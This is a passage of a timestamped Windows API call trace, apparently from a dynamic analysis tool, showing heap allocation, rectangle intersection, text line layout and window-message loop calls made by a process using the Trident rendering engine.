[0117.288] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.288] LsdnFinishRegular () returned 0x0
[0117.288] LsQueryLinePointPcp () returned 0x0
[0117.288] LsDestroyLine () returned 0x0
[0117.288] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4bc520 | out: hHeap=0x450000) returned 1
[0117.288] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.288] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.288] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.288] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.288] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.288] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.288] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.288] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4bb328 | out: hHeap=0x450000) returned 1
[0117.288] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x508e20 | out: hHeap=0x450000) returned 1
[0117.288] IntersectRect (in: lprcDst=0x1ce3b0, lprcSrc1=0x1ce3b0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce3b0) returned 1
[0117.288] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b6d08 | out: hHeap=0x450000) returned 1
[0117.288] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b6cd8 | out: hHeap=0x450000) returned 1
[0117.288] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b6ca8 | out: hHeap=0x450000) returned 1
[0117.288] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.289] PtInRect (lprc=0x1cf27c, pt=0x11cf6) returned 0
[0117.289] LoadCursorA (hInstance=0x0, lpCursorName=0x7f01) returned 0x10005
[0117.289] GetCursor () returned 0x10005
[0117.289] GetCurrentThreadId () returned 0x4e0
[0117.289] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0117.289] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0117.289] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0117.289] GetMessageTime () returned 43352
[0117.289] GetMessagePos () returned 0x1c4031f
[0117.289] GetCapture () returned 0x0
[0117.289] GetCurrentThreadId () returned 0x4e0
[0117.289] GetCurrentThreadId () returned 0x4e0
[0117.289] GetCurrentThreadId () returned 0x4e0
[0117.289] IntersectRect (in: lprcDst=0x1cf0c8, lprcSrc1=0x1cf0c8, lprcSrc2=0x1cf158 | out: lprcDst=0x1cf0c8) returned 1
[0117.289] IntersectRect (in: lprcDst=0x1cee84, lprcSrc1=0x1cee84, lprcSrc2=0x1cee54 | out: lprcDst=0x1cee84) returned 1
[0117.289] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1cee74 | out: lprcDst=0x1cf168) returned 1
[0117.289] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.289] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4b6ca8
[0117.289] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1cee94 | out: lprcDst=0x1cf168) returned 1
[0117.289] IntersectRect (in: lprcDst=0x1cec58, lprcSrc1=0x1cec58, lprcSrc2=0x1cf158 | out: lprcDst=0x1cec58) returned 1
[0117.289] IntersectRect (in: lprcDst=0x1cec58, lprcSrc1=0x1cec58, lprcSrc2=0x1cf158 | out: lprcDst=0x1cec58) returned 1
[0117.289] IntersectRect (in: lprcDst=0x1ce890, lprcSrc1=0x1ce890, lprcSrc2=0x1ce860 | out: lprcDst=0x1ce890) returned 1
[0117.289] IntersectRect (in: lprcDst=0x1cf1f0, lprcSrc1=0x1cf1f0, lprcSrc2=0x1ce880 | out: lprcDst=0x1cf1f0) returned 1
[0117.289] IntersectRect (in: lprcDst=0x1cea14, lprcSrc1=0x1cea14, lprcSrc2=0x1ce9e4 | out: lprcDst=0x1cea14) returned 1
[0117.289] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1cea04 | out: lprcDst=0x1cf168) returned 1
[0117.289] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.289] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4b6cd8
[0117.289] IntersectRect (in: lprcDst=0x1ce850, lprcSrc1=0x1ce850, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce850) returned 1
[0117.290] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1cea24 | out: lprcDst=0x1cf168) returned 1
[0117.290] IntersectRect (in: lprcDst=0x1ce7e8, lprcSrc1=0x1ce7e8, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce7e8) returned 1
[0117.290] IntersectRect (in: lprcDst=0x1ce7e8, lprcSrc1=0x1ce7e8, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce7e8) returned 1
[0117.290] IntersectRect (in: lprcDst=0x1ce574, lprcSrc1=0x1ce574, lprcSrc2=0x1ce42c | out: lprcDst=0x1ce574) returned 1
[0117.290] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1ce594 | out: lprcDst=0x1cf168) returned 1
[0117.290] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.290] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4b6d08
[0117.290] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1ce5b4 | out: lprcDst=0x1cf168) returned 1
[0117.290] IntersectRect (in: lprcDst=0x1ce378, lprcSrc1=0x1ce378, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce378) returned 1
[0117.290] IntersectRect (in: lprcDst=0x1ce378, lprcSrc1=0x1ce378, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce378) returned 1
[0117.290] IntersectRect (in: lprcDst=0x1ce378, lprcSrc1=0x1ce378, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce378) returned 1
[0117.290] IntersectRect (in: lprcDst=0x1ce378, lprcSrc1=0x1ce378, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce378) returned 1
[0117.290] IntersectRect (in: lprcDst=0x1ce104, lprcSrc1=0x1ce104, lprcSrc2=0x1cdfbc | out: lprcDst=0x1ce104) returned 1
[0117.290] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1ce124 | out: lprcDst=0x1cf168) returned 1
[0117.290] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.290] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x508e20
[0117.290] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1ce144 | out: lprcDst=0x1cf168) returned 1
[0117.290] IntersectRect (in: lprcDst=0x1cdf08, lprcSrc1=0x1cdf08, lprcSrc2=0x1cf158 | out: lprcDst=0x1cdf08) returned 1
[0117.290] IntersectRect (in: lprcDst=0x1cdf08, lprcSrc1=0x1cdf08, lprcSrc2=0x1cf158 | out: lprcDst=0x1cdf08) returned 1
[0117.290] IntersectRect (in: lprcDst=0x1cdd4c, lprcSrc1=0x1cdd4c, lprcSrc2=0x1cdbe8 | out: lprcDst=0x1cdd4c) returned 1
[0117.290] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.290] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x508e50
[0117.290] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1cdd3c | out: lprcDst=0x1cf168) returned 1
[0117.290] IntersectRect (in: lprcDst=0x1cdbf8, lprcSrc1=0x1cdbf8, lprcSrc2=0x1cf158 | out: lprcDst=0x1cdbf8) returned 1
[0117.290] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1cdd5c | out: lprcDst=0x1cf168) returned 1
[0117.290] LsSetDoc () returned 0x0
[0117.290] LsCreateLine () returned 0x0
[0117.290] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.291] LsDestroyLine () returned 0x0
[0117.291] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.291] IntersectRect (in: lprcDst=0x1cdfc8, lprcSrc1=0x1cdfc8, lprcSrc2=0x1cf158 | out: lprcDst=0x1cdfc8) returned 1
[0117.291] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x508e20 | out: hHeap=0x450000) returned 1
[0117.291] IntersectRect (in: lprcDst=0x1ce378, lprcSrc1=0x1ce378, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce378) returned 1
[0117.291] IntersectRect (in: lprcDst=0x1ce378, lprcSrc1=0x1ce378, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce378) returned 1
[0117.291] IntersectRect (in: lprcDst=0x1ce1bc, lprcSrc1=0x1ce1bc, lprcSrc2=0x1ce058 | out: lprcDst=0x1ce1bc) returned 1
[0117.291] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.291] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x508e20
[0117.291] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1ce1ac | out: lprcDst=0x1cf168) returned 1
[0117.291] IntersectRect (in: lprcDst=0x1ce068, lprcSrc1=0x1ce068, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce068) returned 1
[0117.291] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1ce1cc | out: lprcDst=0x1cf168) returned 1
[0117.291] LsSetDoc () returned 0x0
[0117.291] LsCreateLine () returned 0x0
[0117.291] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.292] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x18) returned 0x4bc520
[0117.292] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x10) returned 0x4bb328
[0117.292] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.292] LsdnFinishRegular () returned 0x0
[0117.292] LsQueryLinePointPcp () returned 0x0
[0117.292] LsDestroyLine () returned 0x0
[0117.292] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4bc520 | out: hHeap=0x450000) returned 1
[0117.292] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.292] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.292] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.292] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.292] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.292] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.292] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.292] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4bb328 | out: hHeap=0x450000) returned 1
[0117.293] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x508e20 | out: hHeap=0x450000) returned 1
[0117.293] IntersectRect (in: lprcDst=0x1ce438, lprcSrc1=0x1ce438, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce438) returned 1
[0117.293] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b6d08 | out: hHeap=0x450000) returned 1
[0117.293] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b6cd8 | out: hHeap=0x450000) returned 1
[0117.293] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b6ca8 | out: hHeap=0x450000) returned 1
[0117.293] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.293] ClientToScreen (in: hWnd=0x1013a, lpPoint=0x1cf3f4 | out: lpPoint=0x1cf3f4) returned 1
[0117.293] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xf8) returned 0x4f52e8
[0117.293] GetCurrentThreadId () returned 0x4e0
[0117.293] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x492320, hWnd=0x1013a, msg=0x200, wParam=0x0, lParam=0x17402e5, plResult=0x1cf4ec | out: plResult=0x1cf4ec) returned 0x1
[0117.293] NtdllDefWindowProc_W () returned 0x0
[0117.293] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4f52e8 | out: hHeap=0x450000) returned 1
[0117.293] GetCurrentThreadId () returned 0x4e0
[0117.293] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0117.293] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0117.293] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0117.294] GetCurrentThreadId () returned 0x4e0
[0117.294] GetCurrentThreadId () returned 0x4e0
[0117.294] GetCurrentThreadId () returned 0x4e0
[0117.294] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0117.367] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0117.367] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0117.367] GetCapture () returned 0x0
[0117.367] WindowFromPoint (Point=0x31f) returned 0x1013a
[0117.367] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0117.367] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0117.367] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0117.367] PtInRect (lprc=0x1cf3f0, pt=0x2e5) returned 1
[0117.367] GetCurrentThreadId () returned 0x4e0
[0117.367] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0117.908] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0117.908] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0117.909] GetCapture () returned 0x0
[0117.909] WindowFromPoint (Point=0x31f) returned 0x1013a
[0117.909] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0117.909] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0117.909] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0117.909] PtInRect (lprc=0x1cf3f0, pt=0x2e5) returned 1
[0117.909] GetCurrentThreadId () returned 0x4e0
[0117.909] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0118.226] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0118.226] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0118.226] GetCapture () returned 0x0
[0118.226] WindowFromPoint (Point=0x31f) returned 0x1013a
[0118.226] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0118.226] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0118.226] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0118.226] PtInRect (lprc=0x1cf3f0, pt=0x2e5) returned 1
[0118.226] GetCurrentThreadId () returned 0x4e0
[0118.226] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0118.615] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0118.615] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0118.619] GetCapture () returned 0x0
[0118.619] WindowFromPoint (Point=0x31f) returned 0x1013a
[0118.620] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0118.620] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0118.620] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0118.620] PtInRect (lprc=0x1cf3f0, pt=0x2e5) returned 1
[0118.620] GetCurrentThreadId () returned 0x4e0
[0118.622] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0118.647] NtdllDefWindowProc_W () returned 0x1
[0118.647] NtdllDefWindowProc_W () returned 0x1
[0118.647] NtdllDefWindowProc_W () returned 0x1
[0118.931] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0118.931] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0118.931] GetCapture () returned 0x0
[0118.931] WindowFromPoint (Point=0x31f) returned 0x1013a
[0118.931] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0118.931] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0118.931] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0118.931] PtInRect (lprc=0x1cf3f0, pt=0x2e5) returned 1
[0118.931] GetCurrentThreadId () returned 0x4e0
[0118.931] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0119.225] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0119.225] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0119.225] GetCapture () returned 0x0
[0119.225] WindowFromPoint (Point=0x31f) returned 0x1013a
[0119.225] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0119.225] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0119.225] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0119.225] PtInRect (lprc=0x1cf3f0, pt=0x2e5) returned 1
[0119.225] GetCurrentThreadId () returned 0x4e0
[0119.225] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0119.540] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0119.540] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0119.540] GetCapture () returned 0x0
[0119.540] WindowFromPoint (Point=0x31f) returned 0x1013a
[0119.540] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0119.540] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0119.540] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0119.540] PtInRect (lprc=0x1cf3f0, pt=0x2e5) returned 1
[0119.540] GetCurrentThreadId () returned 0x4e0
[0119.541] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0119.891] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0119.891] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0119.891] GetCapture () returned 0x0
[0119.891] WindowFromPoint (Point=0x31f) returned 0x1013a
[0119.909] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0119.909] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0119.910] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0119.910] PtInRect (lprc=0x1cf3f0, pt=0x2e5) returned 1
[0119.910] GetCurrentThreadId () returned 0x4e0
[0119.910] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0119.939] NtdllDefWindowProc_W () returned 0x1
[0119.939] NtdllDefWindowProc_W () returned 0x1
[0119.939] NtdllDefWindowProc_W () returned 0x1
[0120.186] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0120.186] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0120.186] GetCapture () returned 0x0
[0120.186] WindowFromPoint (Point=0x31f) returned 0x1013a
[0120.186] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0120.186] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0120.186] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0120.186] PtInRect (lprc=0x1cf3f0, pt=0x2e5) returned 1
[0120.186] GetCurrentThreadId () returned 0x4e0
[0120.186] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0120.490] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0120.490] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0120.490] GetCapture () returned 0x0
[0120.491] WindowFromPoint (Point=0x31f) returned 0x1013a
[0120.491] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0120.491] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0120.491] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0120.491] PtInRect (lprc=0x1cf3f0, pt=0x2e5) returned 1
[0120.491] GetCurrentThreadId () returned 0x4e0
[0120.491] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0120.556] NtdllDefWindowProc_W () returned 0x1
[0120.556] NtdllDefWindowProc_W () returned 0x1
[0120.556] NtdllDefWindowProc_W () returned 0x1
[0120.794] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0120.794] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0120.794] GetCapture () returned 0x0
[0120.795] WindowFromPoint (Point=0x31f) returned 0x1013a
[0120.795] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0120.795] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0120.795] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0120.795] PtInRect (lprc=0x1cf3f0, pt=0x2e5) returned 1
[0120.795] GetCurrentThreadId () returned 0x4e0
[0120.795] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0121.389] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0121.389] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf5d0 | out: lpRect=0x1cf5d0) returned 1
[0121.389] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf5e0 | out: lpPoint=0x1cf5e0) returned 1
[0121.389] PtInRect (lprc=0x1cf5d0, pt=0x1ba) returned 1
[0121.389] GetCurrentThreadId () returned 0x4e0
[0121.390] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0121.390] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf650 | out: lpPoint=0x1cf650) returned 1
[0121.393] GetMessageTime () returned 46862
[0121.395] GetMessagePos () returned 0x1c4031f
[0121.395] GetCapture () returned 0x0
[0121.395] IntersectRect (in: lprcDst=0x1cf040, lprcSrc1=0x1cf040, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1cf040) returned 1
[0121.395] IntersectRect (in: lprcDst=0x1cedfc, lprcSrc1=0x1cedfc, lprcSrc2=0x1cedcc | out: lprcDst=0x1cedfc) returned 1
[0121.397] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1cedec | out: lprcDst=0x1cf0e0) returned 1
[0121.397] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0121.397] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4b6ca8
[0121.402] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1cee0c | out: lprcDst=0x1cf0e0) returned 1
[0121.402] IntersectRect (in: lprcDst=0x1cebd0, lprcSrc1=0x1cebd0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1cebd0) returned 1
[0121.402] IntersectRect (in: lprcDst=0x1cebd0, lprcSrc1=0x1cebd0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1cebd0) returned 1
[0121.402] IntersectRect (in: lprcDst=0x1ce808, lprcSrc1=0x1ce808, lprcSrc2=0x1ce7d8 | out: lprcDst=0x1ce808) returned 1
[0121.404] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1ce7f8 | out: lprcDst=0x1cf168) returned 1
[0121.404] IntersectRect (in: lprcDst=0x1ce98c, lprcSrc1=0x1ce98c, lprcSrc2=0x1ce95c | out: lprcDst=0x1ce98c) returned 1
[0121.404] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1ce97c | out: lprcDst=0x1cf0e0) returned 1
[0121.404] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0121.404] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4b6cd8
[0121.404] IntersectRect (in: lprcDst=0x1ce7c8, lprcSrc1=0x1ce7c8, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce7c8) returned 1
[0121.404] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1ce99c | out: lprcDst=0x1cf0e0) returned 1
[0121.404] IntersectRect (in: lprcDst=0x1ce760, lprcSrc1=0x1ce760, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce760) returned 1
[0121.404] IntersectRect (in: lprcDst=0x1ce760, lprcSrc1=0x1ce760, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce760) returned 1
[0121.404] IntersectRect (in: lprcDst=0x1ce4ec, lprcSrc1=0x1ce4ec, lprcSrc2=0x1ce3a4 | out: lprcDst=0x1ce4ec) returned 1
[0121.404] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1ce50c | out: lprcDst=0x1cf0e0) returned 1
[0121.404] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0121.404] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4b6d08
[0121.404] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1ce52c | out: lprcDst=0x1cf0e0) returned 1
[0121.405] IntersectRect (in: lprcDst=0x1ce2f0, lprcSrc1=0x1ce2f0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce2f0) returned 1
[0121.405] IntersectRect (in: lprcDst=0x1ce2f0, lprcSrc1=0x1ce2f0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce2f0) returned 1
[0121.405] IntersectRect (in: lprcDst=0x1ce2f0, lprcSrc1=0x1ce2f0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce2f0) returned 1
[0121.405] IntersectRect (in: lprcDst=0x1ce2f0, lprcSrc1=0x1ce2f0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce2f0) returned 1
